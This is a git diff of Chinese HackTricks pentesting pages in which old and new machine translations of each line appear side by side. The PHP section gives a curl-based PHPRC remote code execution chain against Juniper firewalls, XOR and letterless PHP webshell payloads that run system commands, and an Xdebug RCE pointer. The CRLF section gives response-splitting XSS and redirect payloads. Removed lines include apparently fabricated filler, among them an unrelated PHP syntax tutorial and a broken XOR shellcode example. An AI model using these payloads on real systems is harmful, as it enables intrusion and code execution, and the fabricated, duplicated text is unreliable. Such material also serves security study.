* [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/#ld\_preload-and-ld\_library\_path)：此环境变量允许您在执行其他二进制文件时加载任意库（尽管在这种情况下可能不起作用）。
|
||||
* **`PHPRC`**：指示PHP在**哪里定位其配置文件**（通常称为`php.ini`）。如果您可以上传自己的配置文件，那么可以使用`PHPRC`将PHP指向它。添加一个**`auto_prepend_file`**条目，指定第二个上传的文件。这个第二个文件包含正常的**PHP代码，然后由PHP运行时在任何其他代码之前执行**。
|
||||
1. 上传一个包含我们的shellcode的PHP文件
|
||||
2. 上传第二个文件，其中包含一个**`auto_prepend_file`**指令，指示PHP预处理器执行我们在步骤1中上传的文件
|
||||
3. 将`PHPRC`变量设置为我们在步骤2中上传的文件。
|
||||
* 获取有关如何执行此链的更多信息[**来自原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
* **`PHPRC`** ：指导 PHP **在哪里找到它的配置文件**，通常称为 `php.ini`。如果您可以上传您自己的配置文件，然后，使用 `PHPRC` 指向它。添加一个**`auto_prepend_file`** 条目，指定第二个上传的文件。这第二个文件包含正常的**PHP 代码，然后由 PHP 运行时在任何其他代码之前执行**。
|
||||
1. 上传一个包含我们 shellcode 的 PHP 文件
|
||||
2. 上传第二个文件，包含一个**`auto_prepend_file`** 指令，指示 PHP 预处理器执行我们在第一步中上传的文件
|
||||
3. 设置 `PHPRC` 变量为我们在第二步中上传的文件。
|
||||
* 获取更多关于如何执行这个链条的信息[**从原始报告**](https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/)。
|
||||
* **PHPRC** - 另一个选项
|
||||
* 如果您**无法上传文件**，您可以在FreeBSD中使用包含**`stdin`**的“文件”`/dev/fd/0`，其中`stdin`是发送到`stdin`的请求的**正文**：
|
||||
* 如果您**无法上传文件**，您可以在 FreeBSD 中使用文件 `/dev/fd/0`，它包含**`stdin`**，是发送到 `stdin` 的请求的**正文**：
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary 'auto_prepend_file="/etc/passwd"'`
|
||||
* 或者要获得RCE，请启用**`allow_url_include`**并在文件中添加**base64 PHP代码**：
|
||||
* 或者为了获得 RCE，启用 **`allow_url_include`** 并预先加入一个包含 **base64 PHP 代码**的文件：
|
||||
* `curl "http://10.12.72.1/?PHPRC=/dev/fd/0" --data-binary $'allow_url_include=1\nauto_prepend_file="data://text/plain;base64,PD8KICAgcGhwaW5mbygpOwo/Pg=="'`
|
||||
* 技术来自[**此报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
|
||||
* 技术[**来自这份报告**](https://vulncheck.com/blog/juniper-cve-2023-36845)。
|
||||
|
||||
## PHP静态分析
|
||||
## PHP 静态分析
|
||||
|
||||
查看是否可以在对这些函数的调用中插入代码（来自[这里](https://www.youtube.com/watch?v=SyWUsN0yHKI\&feature=youtu.be)）：
|
||||
```php
|
||||
|
|
@ -277,19 +274,19 @@ exec, shell_exec, system, passthru, eval, popen
|
|||
unserialize, include, file_put_cotents
|
||||
$_COOKIE | if #This mea
|
||||
```
|
||||
如果您正在调试一个PHP应用程序，您可以在`/etc/php5/apache2/php.ini`中全局启用错误打印，添加`display_errors = On`，然后重新启动apache：`sudo systemctl restart apache2`
|
||||
如果您正在调试PHP应用程序，您可以在`/etc/php5/apache2/php.ini`中全局启用错误打印，添加`display_errors = On`，然后重启apache：`sudo systemctl restart apache2`
|
||||
|
||||
### 解混淆PHP代码
|
||||
### 反混淆PHP代码
|
||||
|
||||
您可以使用[**www.unphp.net**](http://www.unphp.net)网站来解混淆PHP代码。
|
||||
您可以使用**网站**[**www.unphp.net**](http://www.unphp.net)来反混淆php代码。
|
||||
|
||||
## PHP包装器和协议
|
||||
|
||||
PHP包装器和协议可以让您绕过系统中的写入和读取保护，并对其进行破坏。有关[**更多信息，请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
PHP包装器和协议可能允许您**绕过写入和读取保护**，并危害系统。有关[**更多信息，请查看此页面**](../../../pentesting-web/file-inclusion/#lfi-rfi-using-php-wrappers-and-protocols)。
|
||||
|
||||
## 未经身份验证的Xdebug RCE
|
||||
## Xdebug未经认证的RCE
|
||||
|
||||
如果您在`phpconfig()`输出中看到**Xdebug**已启用，您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取RCE。
|
||||
如果您在`phpconfig()`输出中看到**Xdebug**是**启用**的，您应该尝试通过[https://github.com/nqxcode/xdebug-exploit](https://github.com/nqxcode/xdebug-exploit)获取RCE。
|
||||
|
||||
## 变量变量
|
||||
```php
|
||||
|
|
@ -303,15 +300,15 @@ echo "${Da}"; //Drums
|
|||
echo "$x ${$x}"; //Da Drums
|
||||
echo "$x ${Da}"; //Da Drums
|
||||
```
|
||||
## 利用新的 $\_GET\["a"]\($\_GET\["b"]) 进行 RCE
|
||||
## 利用新的 $\_GET\["a"]\($\_GET\["b"]) 实现 RCE
|
||||
|
||||
如果在一个页面中，你可以**创建一个任意类的新对象**，那么你可能能够获得 RCE，请查看以下页面了解详情：
|
||||
如果在页面上你能够**创建任意类的新对象**，你可能能够实现 RCE，请查看以下页面了解如何操作：
|
||||
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md" %}
|
||||
{% content-ref url="php-rce-abusing-object-creation-new-usd_get-a-usd_get-b.md" %}
|
||||
[php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md](php-rce-abusing-object-creation-new-usd\_get-a-usd\_get-b.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## 在没有字母的情况下执行 PHP
|
||||
## 不使用字母执行 PHP
|
||||
|
||||
[https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/](https://securityonline.info/bypass-waf-php-webshell-without-numbers-letters/)
|
||||
|
||||
|
|
@ -319,67 +316,32 @@ echo "$x ${Da}"; //Da Drums
|
|||
```php
|
||||
$_="\163\171\163\164\145\155(\143\141\164\40\56\160\141\163\163\167\144)"; #system(cat .passwd);
|
||||
```
|
||||
### **异或（XOR）**
|
||||
|
||||
The XOR operation, also known as exclusive OR, is a logical operation that takes two binary inputs and returns a binary output. The output is true (1) if the inputs are different, and false (0) if the inputs are the same.
|
||||
|
||||
In the context of hacking, XOR can be used for various purposes, such as encryption, obfuscation, and bypassing security measures. It is commonly used to hide sensitive information or manipulate data in a way that is not easily detectable.
|
||||
|
||||
XOR is a powerful tool in the arsenal of a hacker, as it can be used to perform bitwise operations and manipulate data at the binary level. It is often used in combination with other techniques to achieve specific goals during a penetration test or security assessment.
|
||||
|
||||
To perform an XOR operation, you can use XOR operators in programming languages or XOR functions in scripting languages. These operators and functions take two inputs and return the XOR result.
|
||||
|
||||
Understanding XOR and its applications is essential for any hacker or security professional, as it allows for creative and effective manipulation of data and systems.
|
||||
### **XOR**
|
||||
```php
|
||||
$_=("%28"^"[").("%33"^"[").("%34"^"[").("%2c"^"[").("%04"^"[").("%28"^"[").("%34"^"[").("%2e"^"[").("%29"^"[").("%38"^"[").("%3e"^"["); #show_source
|
||||
$__=("%0f"^"!").("%2f"^"_").("%3e"^"_").("%2c"^"_").("%2c"^"_").("%28"^"_").("%3b"^"_"); #.passwd
|
||||
$___=$__; #Could be not needed inside eval
|
||||
$_($___); #If ¢___ not needed then $_($__), show_source(.passwd)
|
||||
```
|
||||
### XOR简易shell代码
|
||||
### XOR简易Shell代码
|
||||
|
||||
根据[**这篇解析**](https://mgp25.com/ctf/Web-challenge/)，可以通过以下方式生成一个简易的shellcode：
|
||||
根据[**这篇文章**](https://mgp25.com/ctf/Web-challenge/)，可以通过以下方式生成简易的shell代码：
|
||||
```php
|
||||
$_="`{{{"^"?<>/"; // $_ = '_GET';
|
||||
${$_}[_](${$_}[__]); // $_GET[_]($_GET[__]);
|
||||
|
||||
$_="`{{{"^"?<>/";${$_}[_](${$_}[__]); // $_ = '_GET'; $_GET[_]($_GET[__]);
|
||||
```
|
||||
所以，如果你能够**执行任意的PHP代码而不使用数字和字母**，你可以发送如下请求来滥用该有效负载来执行任意的PHP代码：
|
||||
因此，如果您能够**执行任意PHP而不使用数字和字母**，您可以发送如下请求，利用该有效载荷执行任意PHP：
|
||||
```
|
||||
POST: /action.php?_=system&__=cat+flag.php
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
|
||||
comando=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
|
||||
```
|
||||
### XOR Shellcode（在eval内部）
|
||||
要了解更深入的解释，请查看 [https://ctf-wiki.org/web/php/php/#preg_match](https://ctf-wiki.org/web/php/php/#preg_match)
|
||||
|
||||
```php
|
||||
<?php
|
||||
$shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
|
||||
$key = "\x41";
|
||||
$encrypted_shellcode = xor_encrypt($shellcode, $key);
|
||||
eval($encrypted_shellcode);
|
||||
|
||||
function xor_encrypt($data, $key) {
|
||||
$encrypted_data = '';
|
||||
$key_length = strlen($key);
|
||||
$data_length = strlen($data);
|
||||
for ($i = 0; $i < $data_length; $i++) {
|
||||
$encrypted_data .= chr(ord($data[$i]) ^ ord($key[$i % $key_length]));
|
||||
}
|
||||
return $encrypted_data;
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
This PHP code demonstrates the use of XOR encryption to obfuscate a shellcode. The shellcode is first encrypted using the XOR operation with a key. The encrypted shellcode is then evaluated using the `eval()` function.
|
||||
|
||||
The shellcode used in this example is a simple Linux/x86 execve("/bin/sh") shellcode. The key used for encryption is the character 'A' (0x41 in hexadecimal).
|
||||
|
||||
The `xor_encrypt()` function takes two parameters: the data to be encrypted and the encryption key. It iterates over each byte of the data and performs the XOR operation with the corresponding byte of the key. The result is appended to the encrypted data string.
|
||||
|
||||
By using XOR encryption, the shellcode becomes harder to detect and analyze, as it is obfuscated with a key. This technique can be used to bypass certain security measures and evade detection by antivirus software.
|
||||
### XOR Shellcode（在 eval 内部）
|
||||
```bash
|
||||
#!/bin/bash
|
||||
|
||||
|
|
@ -399,69 +361,7 @@ lt;>/'^'{{{{';\${\$_}[_](\${\$_}[__]);" `$_='
|
|||
```php
|
||||
lt;>/'^'{{{{'; --> _GET` `${$_}[_](${$_}[__]); --> $_GET[_]($_GET[__])` `So, the function is inside $_GET[_] and the parameter is inside $_GET[__]` http --form POST "http://victim.com/index.php?_=system&__=$CMD" "input=$CODE"
|
||||
```
|
||||
### 类似 Perl 的语法
|
||||
|
||||
在 PHP 中，可以使用一些 Perl 风格的语法来简化代码。这些技巧可以提高代码的可读性和效率。
|
||||
|
||||
#### 1. 简化 if 语句
|
||||
|
||||
使用 Perl 风格的 if 语句可以使代码更简洁。例如，可以使用三元运算符来替代 if-else 语句：
|
||||
|
||||
```php
|
||||
// 使用 if-else 语句
|
||||
if ($condition) {
|
||||
$result = 'Condition is true';
|
||||
} else {
|
||||
$result = 'Condition is false';
|
||||
}
|
||||
|
||||
// 使用三元运算符
|
||||
$result = $condition ? 'Condition is true' : 'Condition is false';
|
||||
```
|
||||
|
||||
#### 2. 简化循环语句
|
||||
|
||||
使用 Perl 风格的循环语句可以减少代码量。例如，可以使用 foreach 循环来遍历数组：
|
||||
|
||||
```php
|
||||
// 使用传统的 for 循环
|
||||
for ($i = 0; $i < count($array); $i++) {
|
||||
$value = $array[$i];
|
||||
// 执行操作
|
||||
}
|
||||
|
||||
// 使用 Perl 风格的 foreach 循环
|
||||
foreach ($array as $value) {
|
||||
// 执行操作
|
||||
}
|
||||
```
|
||||
|
||||
#### 3. 简化字符串操作
|
||||
|
||||
使用 Perl 风格的字符串操作可以更方便地处理字符串。例如，可以使用正则表达式来匹配和替换字符串：
|
||||
|
||||
```php
|
||||
// 使用传统的字符串函数
|
||||
$result = str_replace('search', 'replace', $string);
|
||||
|
||||
// 使用 Perl 风格的正则表达式
|
||||
$result = preg_replace('/search/', 'replace', $string);
|
||||
```
|
||||
|
||||
#### 4. 简化数组操作
|
||||
|
||||
使用 Perl 风格的数组操作可以更快速地处理数组。例如，可以使用数组解构来快速获取数组中的值：
|
||||
|
||||
```php
|
||||
// 使用传统的数组操作
|
||||
$value1 = $array[0];
|
||||
$value2 = $array[1];
|
||||
|
||||
// 使用 Perl 风格的数组解构
|
||||
[$value1, $value2] = $array;
|
||||
```
|
||||
|
||||
通过使用这些 Perl 风格的技巧，可以使 PHP 代码更简洁、高效。
|
||||
### 类 Perl
|
||||
```php
|
||||
<?php
|
||||
$_=[];
|
||||
|
|
@ -501,12 +401,12 @@ $___($_[_]); // ASSERT($_POST[_]);
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家 **网络安全公司** 工作吗？你想在 HackTricks 中看到你的 **公司广告**吗？或者你想获得 **PEASS 的最新版本或下载 HackTricks 的 PDF** 吗？请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获得 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass)，或者在 **Twitter** 上 **关注** 我 [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
|
||||
* 您在**网络安全公司**工作吗？想在**HackTricks**上看到您的**公司广告**吗？或者您想要访问**最新版本的PEASS或下载HackTricks的PDF**吗？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)系列。
|
||||
* 获取[**官方PEASS & HackTricks周边商品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks仓库**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,120 +1,128 @@
|
|||
# CRLF (%0D%0A)注入
|
||||
# CRLF (%0D%0A) 注入
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* 你在一家**网络安全公司**工作吗？想要在HackTricks中看到你的**公司广告**吗？或者你想要**获取PEASS的最新版本或下载PDF格式的HackTricks**吗？请查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或者 [**Telegram群组**](https://t.me/peass) 或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
|
||||
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
|
||||
* 如果你在一家**网络安全公司**工作？你想在**HackTricks 中看到你的公司广告**吗？或者你想要访问**最新版本的 PEASS 或下载 HackTricks 的 PDF**？查看[**订阅计划**](https://github.com/sponsors/carlospolop)！
|
||||
* 发现[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们独家的 [**NFTs 集合**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或在 **推特** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我。
|
||||
* **通过向** [**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **提交 PRs 分享你的黑客技巧** 和 [**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
如果你对**黑客职业**感兴趣并且想要攻破不可攻破的东西 - **我们正在招聘！**（需要流利的波兰语书写和口语能力）。
|
||||
如果你对**黑客职业**感兴趣并且想要黑掉不可黑的 - **我们正在招聘！** (_需要流利的波兰语书写和口语_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## 什么是CRLF？
|
||||
## 什么是 CRLF？
|
||||
|
||||
当浏览器向Web服务器发送请求时，Web服务器会回复一个包含HTTP响应头和实际网站内容（即响应体）的响应。HTTP头和HTML响应（网站内容）由特定的特殊字符组合分隔，即回车和换行符。简称为CRLF。
|
||||
当浏览器向 web 服务器发送请求时，web 服务器会回应一个包含 HTTP 响应头和实际网站内容的响应，即响应体。HTTP 头和 HTML 响应（网站内容）由特定的特殊字符组合分隔，即回车符和换行符。简称它们为 CRLF。
|
||||
|
||||
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息，因此任何类型的Web服务器都会使用它，包括Apache、Microsoft IIS和其他所有服务器。\
|
||||
来源：[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
web 服务器使用 CRLF 来理解何时开始新的 HTTP 头以及另一个结束。CRLF 还可以告诉 web 应用程序或用户在文件或文本块中开始新行。CRLF 字符是标准的 HTTP/1.1 消息，因此它被任何类型的 web 服务器使用，包括 Apache、Microsoft IIS 和其他所有服务器。\
|
||||
来自 [https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
|
||||
|
||||
### 什么是CRLF注入漏洞？
|
||||
### 什么是 CRLF 注入漏洞？
|
||||
|
||||
在CRLF注入漏洞攻击中，攻击者将回车和换行符插入用户输入，以欺骗服务器、Web应用程序或用户认为一个对象已经终止，另一个对象已经开始。因此，CRLF序列不是恶意字符，但它们可以被用于恶意目的，例如HTTP响应拆分等。
|
||||
在 CRLF 注入漏洞攻击中，攻击者将回车符和换行符插入用户输入，以欺骗服务器、web 应用程序或用户认为一个对象已终止并且另一个已开始。因此，CRLF 序列不是恶意字符，但它们可以用于恶意意图，例如 HTTP 响应分割等。
|
||||
|
||||
## Web应用程序中的CRLF注入
|
||||
## 在 web 应用程序中的 CRLF 注入
|
||||
|
||||
在Web应用程序中，CRLF注入可能会产生严重影响，具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行，直接影响Web应用程序安全漏洞。实际上，CRLF注入攻击可能对Web应用程序产生非常严重的后果，即使它从未出现在OWASP Top 10列表中。例如，可以在下面的示例中解释如何操纵管理员面板中的日志文件。
|
||||
在 web 应用程序中，CRLF 注入可能会产生严重影响，这取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行不等，是直接影响 web 应用程序安全的漏洞。实际上，CRLF 注入攻击可能对 web 应用程序产生非常严重的后果，尽管它从未被列入 OWASP Top 10 列表。例如，也可以像下面的例子中解释的那样操纵管理面板中的日志文件。
|
||||
|
||||
#### 日志文件中CRLF注入的示例
|
||||
#### 在日志文件中的 CRLF 注入示例
|
||||
|
||||
想象一下，一个管理员面板中有一个日志文件，其输出流模式为IP - 时间 - 访问路径，如下所示：
|
||||
想象一个在管理面板中的日志文件，输出流模式为 IP - 时间 - 访问路径，如下所示：
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home
|
||||
```
|
||||
如果攻击者能够将CRLF字符注入到HTTP请求中，他就能够改变输出流并伪造日志条目。他可以将Web应用程序的响应更改为以下内容：
|
||||
如果攻击者能够将CRLF字符注入HTTP请求，他就能改变输出流并伪造日志条目。他可以将web应用程序的响应更改为类似以下内容：
|
||||
```
|
||||
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
%0d and %0a是CR和LF的URL编码形式。因此，当攻击者插入这些字符并应用程序显示时，日志条目将如下所示：
|
||||
```
|
||||
%0d和%0a是CR和LF的URL编码形式。因此，在攻击者插入这些字符且应用程序显示它们之后，日志条目将如下所示：
|
||||
|
||||
IP - 时间 - 访问路径
|
||||
```
|
||||
```
|
||||
123.123.123.123 - 08:15 - /index.php?page=home&
|
||||
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
因此，通过利用CRLF注入漏洞，攻击者可以伪造日志文件中的条目，以掩盖自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如，想象一种情况，攻击者拥有管理员密码并执行了restrictedaction参数，该参数只能由管理员使用。
|
||||
```markdown
|
||||
因此，通过利用CRLF注入漏洞，攻击者可以在日志文件中伪造条目，以掩盖他自己的恶意行为。攻击者实际上正在进行页面劫持并修改响应。例如，想象一个场景，攻击者拥有管理员密码并执行了restrictedaction参数，该参数只能由管理员使用。
|
||||
|
||||
问题在于，如果管理员注意到一个未知的IP使用了restrictedaction参数，就会意识到有问题。然而，由于现在看起来像是命令是由本地主机发出的（因此可能是有服务器访问权限的人，比如管理员），这看起来并不可疑。
|
||||
问题在于，如果管理员注意到一个未知IP使用了restrictedaction参数，会意识到有些不对劲。然而，由于现在看起来像是由localhost（因此可能是由有权访问服务器的人，如管理员）发出的命令，它看起来并不可疑。
|
||||
|
||||
查询的整个部分，从%0d%0a开始的部分，将被服务器作为一个参数处理。之后还有一个&符号，带有restricted action参数，服务器将将其解析为另一个参数。实际上，这将是与以下查询相同的查询：
|
||||
整个查询部分，从%0d%0a开始的，将被服务器作为一个参数处理。之后有另一个&符号，带有参数restrictedaction，服务器将其解析为另一个参数。实际上，这将是与以下查询相同的：
|
||||
```
|
||||
```
|
||||
/index.php?page=home&restrictedaction=edit
|
||||
```
|
||||
### HTTP响应拆分
|
||||
### HTTP 响应拆分
|
||||
|
||||
#### 描述
|
||||
|
||||
由于HTTP响应的头部和主体之间由CRLF字符分隔，攻击者可以尝试注入这些字符。CRLFCRLF的组合将告诉浏览器头部结束，主体开始。这意味着攻击者现在可以在响应主体中写入数据，其中存储了HTML代码。这可能导致跨站脚本漏洞。
|
||||
由于HTTP响应的头部和正文是由CRLF字符分隔的，攻击者可以尝试注入这些字符。CRLFCRLF的组合会告诉浏览器头部结束，正文开始。这意味着攻击者现在能够在响应正文中写入数据，也就是存储html代码的地方。这可能导致跨站脚本（XSS）漏洞。
|
||||
|
||||
#### HTTP响应拆分导致XSS的示例
|
||||
#### 导致XSS的HTTP响应拆分示例
|
||||
|
||||
想象一个设置自定义头部的应用程序，例如：
|
||||
想象一个应用程序设置了一个自定义头部，例如：
|
||||
```
|
||||
X-Your-Name: Bob
|
||||
```
|
||||
标题的值是通过一个名为"name"的get参数设置的。如果没有进行URL编码，并且该值直接反映在标题中，攻击者可能会插入上述的CRLFCRLF组合，以告诉浏览器请求体的开始。这样，他就能够插入诸如XSS有效负载的数据，例如：
|
||||
```markdown
|
||||
请求头的值是通过一个名为“name”的get参数设置的。如果没有URL编码，并且值直接反映在头部，攻击者可能能够插入上述的CRLFCRLF组合，告诉浏览器请求体的开始。这样，他就能够插入数据，例如XSS载荷：
|
||||
```
|
||||
```
|
||||
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
|
||||
```
|
||||
上述代码将在受攻击域的上下文中显示一个警示窗口。
|
||||
上述操作将在被攻击域的上下文中显示一个警告窗口。
|
||||
|
||||
#### HTTP响应拆分导致重定向的示例
|
||||
#### 一个导致重定向的HTTP响应分割的例子
|
||||
|
||||
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
|
||||
|
||||
浏览器跳转至：
|
||||
浏览至：
|
||||
```
|
||||
/%0d%0aLocation:%20http://myweb.com
|
||||
```
|
||||
然后服务器响应的头部是：
|
||||
服务器响应的头部为：
|
||||
```
|
||||
Location: http://myweb.com
|
||||
```
|
||||
**其他示例：（来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**）**
|
||||
**其他示例：(来源于** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)**)**
|
||||
```
|
||||
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
|
||||
```
|
||||
#### 在URL路径中
|
||||
|
||||
您可以将负载**放在URL路径中**，以控制服务器的**响应**：
|
||||
您可以将有效载荷**发送到URL路径内**，以控制服务器的**响应**：
|
||||
```
|
||||
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
|
||||
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
|
||||
```
|
||||
```markdown
|
||||
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
|
||||
|
||||
### HTTP头注入
|
||||
|
||||
#### 描述
|
||||
|
||||
通过利用CRLF注入，攻击者还可以插入HTTP头，这可能用于破坏安全机制，如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息，如CSRF令牌。他还可以设置Cookie，这可能被利用来将受害者登录到攻击者的帐户，或者利用其他无法利用的[跨站脚本（XSS）漏洞](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)。
|
||||
通过利用CRLF注入，攻击者也可以插入HTTP头，这可能用于击败安全机制，如浏览器的XSS过滤器或同源策略。这允许攻击者获取敏感信息，如CSRF令牌。他还可以设置cookie，这可能通过记录受害者在攻击者账户中的登录信息或通过利用其他不可利用的XSS漏洞来进行利用。
|
||||
|
||||
#### 一个用于提取敏感数据的HTTP头注入示例
|
||||
#### 利用HTTP头注入提取敏感数据的示例
|
||||
|
||||
